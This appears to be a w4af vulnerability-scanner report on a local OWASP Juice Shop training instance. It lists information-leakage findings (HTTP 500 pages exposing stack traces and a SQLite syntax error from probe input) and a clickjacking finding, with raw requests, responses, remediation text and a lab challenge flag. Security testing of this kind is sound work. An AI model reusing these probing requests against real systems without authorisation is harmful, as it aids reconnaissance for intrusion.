b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: SQLITE_ERROR: near "ed9yzed9yz": syntax error</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: SQLITE_ERROR: near "ed9yzed9yz": syntax error</h2>\n <ul id="stacktrace"></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/products/EobsN". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 16517.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/rest/products/EobsN HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* udCv6d
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/products/EobsN</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/products/EobsN</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/user/DmRyY". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 65290.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/rest/user/DmRyY HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* lACPIk
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:15 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/user/DmRyY</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/user/DmRyY</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/captcha/bmeon". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 65304.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/rest/captcha/bmeon HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* M8aStu
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:17 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/captcha/bmeon</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/captcha/bmeon</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
An unidentified web application error (HTTP response code 500) was found at: "http://localhost:3000/rest/memories/NUhgZ". Enable all plugins and try again, if the vulnerability still is not identified, please verify manually and report it to the w4af developers. This vulnerability was found in the request with id 65463.
Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. Sensitive data may be used by an attacker to exploit the target web application, its hosting network, or its users.
In its most common form, information leakage is the result of one or more of the following conditions:
A failure to scrub out HTML/Script comments containing sensitive information
Improper application or server configurations
Improper application error handling
Ensure that the application source handles exceptions and errors in a such a way that no sensitive information is disclosed to the users
Configure the application server to handle and log any exceptions that the application might yield
PUT http://localhost:3000/rest/memories/NUhgZ HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* fUcwkg
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:56:23 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/memories/NUhgZ</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/memories/NUhgZ</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
Multiple application URLs have no protection against Click-Jacking attacks. Only the first 25 samples were captured as proof. The list of vulnerable URLs is: - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkHrg - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlZ3h - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlZLS&sid=5f_rxp2p0KU-WMd9AAAF - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlb7Z - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlc8y&sid=Re-nNfDJbx5LKvZQAAAH - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlcUM&sid=Re-nNfDJbx5LKvZQAAAH - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGld-C - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGleiO&sid=bt2Ikw1-G_o9CwZ2AAAJ - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlgX_ - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlgmP&sid=fjx5JNc7YYp6Uz8sAAAL - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGliD- - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGljCJ&sid=SkGCFnuDPQMFQopNAAAN - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlmB_ - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlmto - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlnoD&sid=IDEJ4u5V47bd944UAAAQ - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGln5Q&sid=Wrf5OJ_3ct9WbgczAAAP - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlq7q - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqFs&sid=D6BsQ9YEEIAHi7klAAAT - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqRw - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlqVi&sid=m418o1AFhRVb78O_AAAV - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrNc - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrRA&sid=9DHdvynFxeJObZNxAAAX - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlrq3 - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlsJu&sid=Nmwg28JjqJGdEbC7AAAZ - http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlsko This vulnerability was found in the requests with ids 129, 351, 362, 389, 391, 395, 408, 426, 439, 441, 446, 449, 468, 484, 495, 502, 532, 535, 537, 540, 545, 552, 556, 568 and 575.
Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.
The server didn't return an X-Frame-Options header which
means that this website could be at risk of a clickjacking attack.
The X-Frame-Options HTTP response header can be used to indicate
whether or not a browser should be allowed to render a page inside a
frame or iframe. Sites can use this to avoid clickjacking attacks, by
ensuring that their content is not embedded into other sites.
Configure your web server to include an X-Frame-Options header.
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGkHrg HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"tg-zHiqp4ocqDPc_AAAE","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlZ3h HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:31:24 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"5f_rxp2p0KU-WMd9AAAF","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlZLS&sid=5f_rxp2p0KU-WMd9AAAF HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 301\r\nDate: Tue, 05 Mar 2024 22:31:25 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"9FFJbyrl5kw8nt4VAAAG"}\x1e42["challenge solved",{"key":"errorHandlingChallenge","name":"Error Handling","challenge":"Error Handling (Provoke an error that is neither very gracefully nor consistently handled.)","flag":"9c297196ecf8890bc1e900fcf3aebae8c9f9880a","hidden":false,"isRestore":false}]'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlb7Z HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:31:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"Re-nNfDJbx5LKvZQAAAH","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlc8y&sid=Re-nNfDJbx5LKvZQAAAH HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:31:36 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"4rDWCxwcZ4L3aNVrAAAI"}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGlcUM&sid=Re-nNfDJbx5LKvZQAAAH HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 1\r\nDate: Tue, 05 Mar 2024 22:31:39 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b'6'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGld-C HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 96\r\nDate: Tue, 05 Mar 2024 22:31:44 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'0{"sid":"bt2Ikw1-G_o9CwZ2AAAJ","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":5000}'
GET http://localhost:3000/socket.io/?EIO=4&transport=polling&t=OuGleiO&sid=bt2Ikw1-G_o9CwZ2AAAJ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: http://localhost:4200\r\nVary: Origin\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Length: 32\r\nDate: Tue, 05 Mar 2024 22:31:48 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'40{"sid":"97I8cXnQF9hNggpzAAAK"}'
